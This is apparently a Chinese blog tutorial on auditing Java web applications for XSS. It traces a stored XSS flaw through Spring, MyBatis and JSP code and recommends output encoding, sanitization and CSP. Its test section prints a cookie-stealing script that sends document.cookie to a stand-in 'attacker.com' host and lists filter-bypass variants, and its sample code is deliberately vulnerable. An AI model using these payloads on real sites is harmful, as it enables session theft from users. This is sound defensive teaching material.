1. 项目概述:从代码视角看XSS的“前世今生”

干了这么多年安全,尤其是Java方向的代码审计,我发现一个挺有意思的现象:很多开发同学对XSS(跨站脚本攻击)的认识,还停留在“不就是弹个窗吗”的阶段。直到某天自家应用被挂上了挖矿脚本,或者用户数据被悄无声息地盗走,才追悔莫及。今天这篇,咱们就抛开那些泛泛而谈的理论,直接扎进代码里,用审计者的眼光,把Java Web应用里XSS漏洞的“病根”给刨出来。我会结合一个真实的、稍加改造就能复现的案例,带你走一遍从漏洞发现、原理分析到修复建议的完整流程。无论你是刚入门的安全工程师,还是想提升代码安全性的Java开发,这篇文章都能给你提供一套可直接上手的“诊断”思路和工具。

简单来说,XSS漏洞的核心就一句话: 不可信的数据在没有被充分验证和转义的情况下,被当成了代码执行了 。在Java Web的世界里,这个“执行”的舞台往往就是JSP页面,而漏洞的源头,则藏在Controller、Service层层传递的数据流中。很多人觉得用了Spring Boot、各种框架就高枕无忧了,但框架只是提供了工具,用不对地方,该有的漏洞一个都不会少。

2. XSS漏洞在Java Web中的核心成因与代码定位

要审计XSS,你得先知道它在Java代码里通常长什么样。不同于PHP里常见的 echo 直接输出,Java Web应用(特别是MVC架构)的数据流有固定的路径,漏洞点也相对集中。

2.1 漏洞产生的典型代码模式

最经典的漏洞代码模式,可以参考下面这个简化版的Servlet:

@WebServlet("/vulnerable")
public class VulnerableServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String userInput = request.getParameter("comment"); // 1. 获取用户可控输入
        request.setAttribute("displayContent", userInput); // 2. 未经任何处理,放入请求域
        request.getRequestDispatcher("/display.jsp").forward(request, response); // 3. 转发到JSP页面
    }
}

对应的JSP页面( display.jsp )可能这样写:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<body>
    <div>用户评论:${displayContent}</div> <!-- 4. 直接使用EL表达式输出 -->
</body>
</html>

漏洞产生的四步曲:

  1. 可控输入点 request.getParameter("comment") 获取了用户通过URL或表单提交的数据。这是攻击的入口。
  2. 缺失处理环节 :获取到的 userInput 字符串没有经过任何过滤、验证或转义。这是漏洞的关键。
  3. 污染数据传递 :通过 request.setAttribute 将污染数据共享到请求作用域,准备传递给视图层。
  4. 危险输出点 :在JSP页面中,使用EL表达式 ${displayContent} 直接输出。EL表达式默认 不会 对HTML进行转义,它会原样输出字符串。如果 displayContent 里包含 <script>alert(1)</script> ,这段脚本就会被浏览器当作HTML和JavaScript代码解析执行。

关键理解 :这里容易混淆的是JSTL的 <c:out> 标签和EL表达式。 <c:out value="${input}" /> 默认是会对HTML进行转义的(相当于调用了 ESAPI.encoder().encodeForHTML() ),而单纯的 ${input} 则不会。很多开发者在模板中混用,或者错误地认为EL表达式是安全的,这就埋下了隐患。

2.2 审计时的核心搜索关键词与技巧

在审计一个大型Java项目时,我们不可能一行行读代码。需要借助IDE的全局搜索功能,高效定位风险点。根据漏洞产生的模式,可以重点关注以下几类代码:

1. 搜索输出到前端的方法:

  • 全局搜索EL表达式 :在JSP、Thymeleaf、FreeMarker模板中搜索 ${ 。这是最高效的方式,能直接定位到所有前端输出点。
  • 搜索JSP输出标签 :如 <%= ... %> (脚本表达式,极危险)、 <c:out> (需检查其 escapeXml 属性是否为false)。
  • 搜索Response直接输出 :搜索 response.getWriter().print() response.getWriter().write() ,特别是在Servlet或 @RestController 中,这种直接将数据写入HTTP响应的方式风险极高。

2. 搜索数据接收与传递的方法:

  • 搜索参数获取 request.getParameter() , request.getParameterValues() , @RequestParam (Spring MVC注解)。
  • 搜索模型属性设置 model.addAttribute() (Spring MVC), request.setAttribute() 。找到这些地方,就找到了数据从Controller流向View的“上车点”。
  • 搜索数据库操作 :关注MyBatis的 @Insert @Select 注解或XML映射文件中,参数是如何被使用的。存储型XSS的污染数据就是从这里进入数据库的。

3. 区分反射型与存储型:

  • 反射型XSS :数据流是“用户输入 -> 后端处理 -> 立即返回前端展示”。审计时,关注那些将请求参数直接(或经过简单拼接后)设置到模型属性并跳转到视图的方法。它的利用需要诱骗用户点击特定链接。
  • 存储型XSS :数据流是“用户输入 -> 后端处理 -> 存入数据库 -> 另一个请求从数据库读出 -> 返回前端展示”。审计时,需要追踪一条完整的数据链:从接收参数的Controller,到处理业务的Service,再到执行持久化的DAO/Repository,最后回到另一个负责展示的Controller和View。它的危害更大,因为漏洞payload存储在服务器上,会影响所有访问特定页面的用户。

实操心得 :我习惯先用“ ${ ”在项目模板文件中进行一轮快速扫描,把所有输出点列出来。然后针对每个输出点,反向追踪其数据来源(哪个 model.addAttribute 设置的),再顺藤摸瓜找到最初接收参数的地方。这个过程就像侦探破案,梳理清楚数据的“污染路径”是审计成功的关键。

3. 实战案例拆解:一个评论功能的存储型XSS审计

光说不练假把式。我们假设一个典型的博客系统,它有一个评论功能。用户提交的评论会被保存到数据库,然后在文章详情页展示出来。我们就来审计这个功能。

3.1 案例代码结构与漏洞定位

假设项目结构是典型的Spring Boot + MyBatis + JSP。

第一步:定位前端表单与提交接口 前端评论表单可能位于 /WEB-INF/views/article/detail.jsp

<form action="/comment/submit" method="post">
    <textarea name="content" id="commentContent"></textarea>
    <input type="hidden" name="articleId" value="${article.id}"/>
    <button type="submit">提交评论</button>
</form>

这里告诉我们,数据提交到了 /comment/submit ,参数是 content articleId

第二步:审计Controller层 在IDE中全局搜索 @PostMapping("/comment/submit") @RequestMapping 相关路径,找到对应的控制器 CommentController

@Controller
@RequestMapping("/comment")
public class CommentController {

    @Autowired
    private CommentService commentService;

    @PostMapping("/submit")
    public String submitComment(@RequestParam String content,
                                @RequestParam Long articleId,
                                HttpServletRequest request) {
        // 1. 获取当前用户(假设从Session)
        User user = (User) request.getSession().getAttribute("currentUser");

        // 2. 组装评论对象
        Comment comment = new Comment();
        comment.setContent(content); // 用户输入的content直接set进来!
        comment.setArticleId(articleId);
        comment.setUserId(user.getId());
        comment.setCreateTime(new Date());

        // 3. 调用Service层保存
        commentService.saveComment(comment);

        // 4. 重定向回文章页
        return "redirect:/article/detail?id=" + articleId;
    }
}

风险点1 content 参数通过 @RequestParam 注入,直接赋值给 Comment 对象的 content 属性, 没有任何过滤或转义

第三步:审计Service与DAO层 跟踪 commentService.saveComment(comment) 方法。通常Service层只是透传,重点在DAO(MyBatis Mapper)。

CommentMapper.java 接口:

@Mapper
public interface CommentMapper {
    int insert(Comment comment);
}

对应的 CommentMapper.xml

<insert id="insert" parameterType="com.example.entity.Comment">
    INSERT INTO t_comment (content, article_id, user_id, create_time)
    VALUES (#{content}, #{articleId}, #{userId}, #{createTime})
</insert>

风险点2 :MyBatis的 #{} 是预编译占位符,能防止SQL注入,但它 对XSS毫无防御能力 。它只是将 comment 对象的 content 属性值(可能包含恶意脚本)原样插入数据库。

第四步:审计数据展示环节 评论展示通常在文章详情页。找到渲染评论列表的Controller,例如 ArticleController detail 方法:

@GetMapping("/article/detail")
public String detail(@RequestParam Long id, Model model) {
    Article article = articleService.getById(id);
    List<Comment> comments = commentService.getCommentsByArticleId(id); // 从数据库读取评论
    model.addAttribute("article", article);
    model.addAttribute("comments", comments); // 将评论列表放入模型
    return "article/detail";
}

然后,在 article/detail.jsp 中:

<c:forEach items="${comments}" var="comment">
    <div class="comment">
        <p>${comment.content}</p> <!-- 危险!直接输出数据库中的内容 -->
    </div>
</c:forEach>

风险点3 :从数据库读出的 comment.content ,通过EL表达式 ${comment.content} 直接输出到HTML页面。如果数据库里存的是 <script>alert('XSS')</script> ,那么每个访问这篇文章的用户都会中招。

至此,一条完整的存储型XSS漏洞链就清晰了: 用户提交恶意评论 -> Controller接收并存入对象 -> MyBatis写入数据库 -> 另一个Controller从数据库读出并放入模型 -> JSP页面直接渲染输出

3.2 漏洞利用与影响验证

为了验证漏洞确实存在且可利用,我们可以构造一个简单的Payload进行测试。

测试Payload:

<script>alert(document.domain)</script>

或者更具危害性的Payload,如窃取用户Cookie:

<script>var img = new Image(); img.src = 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);</script>

测试步骤:

  1. 在博客系统的评论框内,输入上述Payload并提交。
  2. 提交后,页面重定向回文章页。此时由于是重定向后的新请求,Payload可能不会立即执行(因为当前页面渲染的是新请求的结果,而新请求的评论列表可能还未包含刚提交的评论)。
  3. 刷新文章详情页,或者等待其他用户(或自己换个浏览器)访问该文章页面。
  4. 当页面加载并渲染到这条评论时,浏览器会执行 <script> 标签内的JavaScript代码。如果看到弹窗显示当前域名,或者你的Cookie被发送到攻击者的服务器(需要搭建一个接收端),则证明存储型XSS漏洞存在且高危。

注意事项 :在实际渗透测试或安全演练中,必须在 合法授权 的环境下进行。使用 alert(document.domain) 是证明漏洞存在的常见且相对无害的方式。绝对禁止在未授权的生产环境进行任何攻击测试。

漏洞影响范围:

  • 所有查看该文章的用户 :他们的浏览器都会执行恶意脚本。
  • 可能造成的危害
    • 会话劫持 :窃取用户的登录Cookie,攻击者可直接登录用户账户。
    • 钓鱼攻击 :在页面中插入伪造的登录框,诱骗用户输入账号密码。
    • 键盘记录 :监听用户的键盘输入。
    • 挖矿 :在用户浏览器中植入挖矿脚本,消耗用户CPU资源。
    • 篡改页面内容 :破坏网站正常显示,传播不良信息。

4. 修复方案:从输入到输出的立体防御

修复XSS漏洞,绝不能只依赖某一层的防护。一个健壮的防御体系应该贯穿数据处理的整个生命周期。

4.1 方案一:在输出层进行HTML编码(推荐首选)

这是最根本、最有效的防御方式。原则是: 数据在离开可信后端,进入不可信前端(浏览器)时,必须根据上下文进行编码。

1. 在JSP中使用JSTL的 <c:out> 标签:

<%-- 错误做法:直接输出 --%>
<p>${comment.content}</p>

<%-- 正确做法:使用c:out,其默认escapeXml="true" --%>
<p><c:out value="${comment.content}" /></p>

<%-- 特别注意:如果确实需要输出HTML(如富文本编辑器内容),则需明确关闭转义,并确保内容经过严格净化 --%>
<p><c:out value="${richContent}" escapeXml="false" /></p> <!-- 危险!需配合方案二 -->

<c:out> 默认行为会将 < , > , & , " , ' 等字符转换为HTML实体(如 < 变为 &lt; ),从而破坏脚本的语法结构。

2. 在Spring MVC视图中使用Thymeleaf或FreeMarker: 现代Spring Boot项目常用Thymeleaf,它 默认会对所有 ${...} 表达式进行HTML转义 ,安全性很高。

<!-- Thymeleaf 默认安全 -->
<p th:text="${comment.content}"></p>
<!-- 如果确实需要输出不转义的HTML,必须显式使用 th:utext (Unescaped Text) -->
<p th:utext="${trustedHtmlContent}"></p> <!-- 危险!需确保内容绝对可信 -->

3. 在 @RestController 或直接使用 HttpServletResponse 输出时: 对于返回JSON的API,XSS风险通常较低,因为浏览器不会把JSON当HTML解析。但如果API响应被前端JavaScript动态插入到HTML中(例如 innerHTML ),则仍需警惕。建议在Web层统一配置或使用工具类。

import org.springframework.web.util.HtmlUtils;

@RestController
public class ApiController {
    @GetMapping("/api/comment")
    public Comment getComment() {
        Comment comment = commentService.getCommentById(1L);
        // 如果前端可能错误地将content当作HTML插入,可以在返回前编码
        // comment.setContent(HtmlUtils.htmlEscape(comment.getContent()));
        return comment; // 通常API返回JSON,前端负责安全渲染
    }
}

4.2 方案二:对富文本内容进行“消毒”(Sanitization)

对于评论、文章详情等需要保留部分HTML格式(如加粗、斜体、链接)的场景,不能简单地转义所有字符,否则格式会丢失。这时需要“消毒”——只允许安全的HTML标签和属性通过。

使用OWASP Java HTML Sanitizer: 这是一个强大的库,可以定义白名单策略。

<!-- 在pom.xml中添加依赖 -->
<dependency>
    <groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
    <artifactId>owasp-java-html-sanitizer</artifactId>
    <version>20220608.1</version>
</dependency>
import org.owasp.html.HtmlPolicyBuilder;
import org.owasp.html.PolicyFactory;

public class HtmlSanitizerUtil {
    private static final PolicyFactory POLICY = new HtmlPolicyBuilder()
        .allowElements("p", "br", "b", "i", "u", "strong", "em", "a")
        .allowUrlProtocols("http", "https")
        .allowAttributes("href").onElements("a")
        .requireRelNofollowOnLinks()
        .toFactory();

    public static String sanitize(String html) {
        if (html == null) return "";
        return POLICY.sanitize(html);
    }
}

在保存评论前调用:

comment.setContent(HtmlSanitizerUtil.sanitize(content));

4.3 方案三:使用内容安全策略(CSP)作为最后一道防线

CSP是一个HTTP响应头,它告诉浏览器只允许加载和执行来自特定来源的脚本、样式等资源。即使网站存在XSS漏洞,CSP也能极大限制攻击者的能力。

在Spring Boot中配置CSP:

import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class SecurityConfig {
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            // ... 其他安全配置
            .headers(headers -> headers
                .contentSecurityPolicy(csp -> csp
                    .policyDirectives("default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline';")
                )
            );
        return http.build();
    }
}

这个策略表示:默认只允许加载同源( 'self' )资源;脚本只允许来自同源和 https://trusted.cdn.com ;样式允许同源和内联样式( 'unsafe-inline' ,为兼容性有时需要)。这样,即使恶意脚本被注入,只要其来源不在白名单内,浏览器就会拒绝执行。

修复方案对比与选择:

方案 实施位置 优点 缺点 适用场景
输出编码 视图层(JSP, Thymeleaf等) 最根本,一劳永逸,不影响数据存储 需确保所有输出点都正确编码 所有场景的黄金标准 ,必须做
输入消毒 控制层/业务层(保存数据前) 数据在入库前即净化,一劳永逸 可能误杀合法格式,对富文本处理复杂 富文本内容 (评论、文章正文)
CSP 网络层(HTTP响应头) 深度防御,即使有漏洞也能缓解 配置复杂,可能影响第三方资源加载 所有生产环境 ,作为加固手段

我的实操建议 三者结合使用 。对于普通文本,坚持在输出层做HTML编码(方案一)。对于富文本,在入库前进行严格的基于白名单的消毒(方案二)。最后,为整个应用配置合适的CSP策略(方案三)。千万不要只在输入层做简单的黑名单过滤(如替换 <script> ),这种方法是极其脆弱且容易被绕过的。

5. 审计工具与排查技巧实录

手工审计虽然彻底,但效率较低。在实际工作中,我会结合工具进行辅助扫描和排查。

5.1 静态代码分析工具(SAST)

这类工具通过分析源代码来发现潜在的安全漏洞。

  • SpotBugs + Find Security Bugs插件 :这是Java生态中最易用的安全扫描组合之一。安装后,它能在IDE或构建过程中直接标记出疑似XSS的代码点,例如发现 HttpServletResponse.getWriter().write() 直接使用了用户输入。

    • 如何使用 :在Maven项目中添加插件,运行 mvn spotbugs:spotbugs 即可生成报告。
    • 优点 :集成性好,能发现很多潜在问题。
    • 缺点 :误报率不低,需要人工复核。它只能识别明显的危险函数调用模式,对于经过复杂业务逻辑流转的数据流,追踪能力有限。
  • SonarQube :功能强大的代码质量管理平台,内置了安全检测规则(包括XSS)。可以搭建在服务器上,对每次代码提交进行持续检测。

    • 规则示例 “User-controlled data is used directly in an output function without being sanitized.”

工具使用心得 :不要完全依赖工具的报告。要把工具当作一个“可疑点提示器”。它报出的每一个点,你都需要人工去追踪完整的数据流:从源头(参数获取)到终点(前端输出),确认数据是否真的可控且未被净化。很多误报是因为工具无法理解某些自定义的过滤函数或安全库的调用。

5.2 动态应用测试工具(DAST)与手动测试

在代码审计的同时或之后,用工具模拟攻击行为进行验证。

  • Burp Suite / OWASP ZAP :这是渗透测试人员的标配。配置好代理,用浏览器正常使用网站的所有功能。这些工具会记录下所有的HTTP请求。
    • 主动扫描 :使用工具的主动扫描功能,它会自动向所有参数插入各种测试Payload。
    • 手动测试 :在Burp的Repeater模块,手动修改请求参数,插入XSS Payload(如 <img src=x onerror=alert(1)> ),观察响应。重点看响应中你的Payload是否被原样返回、是否被转义、是否出现在 <script> 标签内等。
  • 浏览器开发者工具 :这是最直接的手动测试工具。在疑似输出点,查看网页源代码(不是Elements面板,因为Elements显示的是解析后的DOM),搜索你提交的Payload,看它是以文本形式( &lt;script&gt; )还是以HTML标签形式( <script> )存在。

5.3 常见问题排查清单

在审计和修复过程中,你肯定会遇到各种“坑”。下面这个清单是我多年总结的:

现象 可能原因 排查步骤
修复后页面显示HTML代码 输出编码被重复执行了(双重编码)。例如,入库时转义了一次,输出时又转义了一次。 1. 检查数据库存储的内容,是否已经是 &lt;script&gt; 这样的实体。
2. 检查输出逻辑,是否对已经编码的内容再次编码。
富文本格式全部丢失 使用了过于严格的HTML编码或消毒策略,把合法的 <b> <p> 等标签也过滤掉了。 1. 检查消毒工具的白名单配置,是否包含了需要的标签。
2. 确认是否错误地在富文本区域使用了普通的HTML编码。
特定Payload能绕过过滤 黑名单过滤不完善,或消毒逻辑存在缺陷。 1. 测试大小写变形( <ScRiPt> )、标签嵌套( <scr<script>ipt> )、使用非标准事件或属性( onmouseover , href=javascript: )。
2. 审查消毒库的版本和规则,考虑升级或使用更强大的库(如OWASP Java HTML Sanitizer)。
在JSON API中发现的XSS 前端错误地使用了 innerHTML document.write() 来解析API返回的JSON数据。 1. 审查前端JavaScript代码,查找不安全的DOM操作。
2. 教育前端开发人员使用 textContent 或安全的模板引擎。
CSP策略导致网站功能异常 CSP指令过于严格,阻止了必要的脚本或样式加载。 1. 检查浏览器控制台的CSP报错信息。
2. 逐步放宽策略(例如先设置为 default-src * ),然后根据报错逐个添加必要的源到白名单。

一个典型的排查案例 :有一次修复后,测试同学反馈某个下拉框的默认值显示不正常了,变成了 &quot;admin&quot; 。排查发现,这个下拉框的值是在后端通过 model.addAttribute("defaultValue", "\"admin\"") 设置的,前端JSP用 ${defaultValue} 输出到 <option value="${defaultValue}"> 里。修复XSS时,我们全局加了一个过滤器对所有输出进行HTML编码,结果双引号被编码成了 &quot; ,破坏了HTML属性。 解决方案 :不是所有上下文都需要HTML编码。在HTML标签属性值里,我们需要的是针对属性的编码(转义 " ' 等)。这引出了“上下文相关输出编码”的重要性,在复杂场景下,可能需要使用专门的编码库(如OWASP ESAPI)来处理不同上下文(HTML Body, HTML Attribute, JavaScript, CSS, URL)。

6. 深入理解:为什么框架不能完全杜绝XSS?

很多开发者会有这样的误解:“我用了Spring Boot/Spring MVC,框架不是应该帮我处理好安全了吗?” 这是一个非常危险的认知。框架提供了构建安全应用的工具和最佳实践,但它不会自动帮你做对每一件事。

Spring MVC的 @RequestParam @ModelAttribute :它们负责将HTTP请求参数绑定到Java对象上,这个过程本身不涉及任何数据清洗或编码。它只是做了一个类型转换(String转int等)和赋值。安全是开发者的责任。

Thymeleaf的自动转义 :这确实是一个很好的默认安全机制。但如果你错误地使用了 th:utext ,或者在某些场景下禁用了转义,防护就失效了。框架给了你安全的“默认配置”,但同时也给了你“关闭安全”的选项。

MyBatis的 #{} :它防的是SQL注入,原理是预编译(PreparedStatement),将参数作为数据而非SQL指令的一部分。XSS是输出到HTML时产生的问题,和数据库层无关。数据安全是一个链条,每个环节都有自己的职责。

根本原因 :XSS是一种“输出上下文”问题。后端代码无法预知前端将在何种上下文中使用这些数据(是放在HTML标签里、属性里、JavaScript变量里还是CSS里)。因此,最合理的做法是在数据 即将离开可控的后端环境,进入不可控的前端解析环境时 ,根据其 即将进入的上下文 进行正确的编码。这个动作,框架无法自动为你完成,因为它依赖于业务逻辑。

所以,永远不要将安全寄托于框架或某个单一的库。建立纵深防御体系,在 输入验证、业务处理、持久化存储、输出编码 等多个层面布防,同时保持对安全问题的持续关注和学习,才是应对XSS以及其他安全威胁的正道。每次代码评审时,都把“数据从哪里来,到哪里去,中间经历了什么”作为必问的问题,很多漏洞在萌芽阶段就能被发现。

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐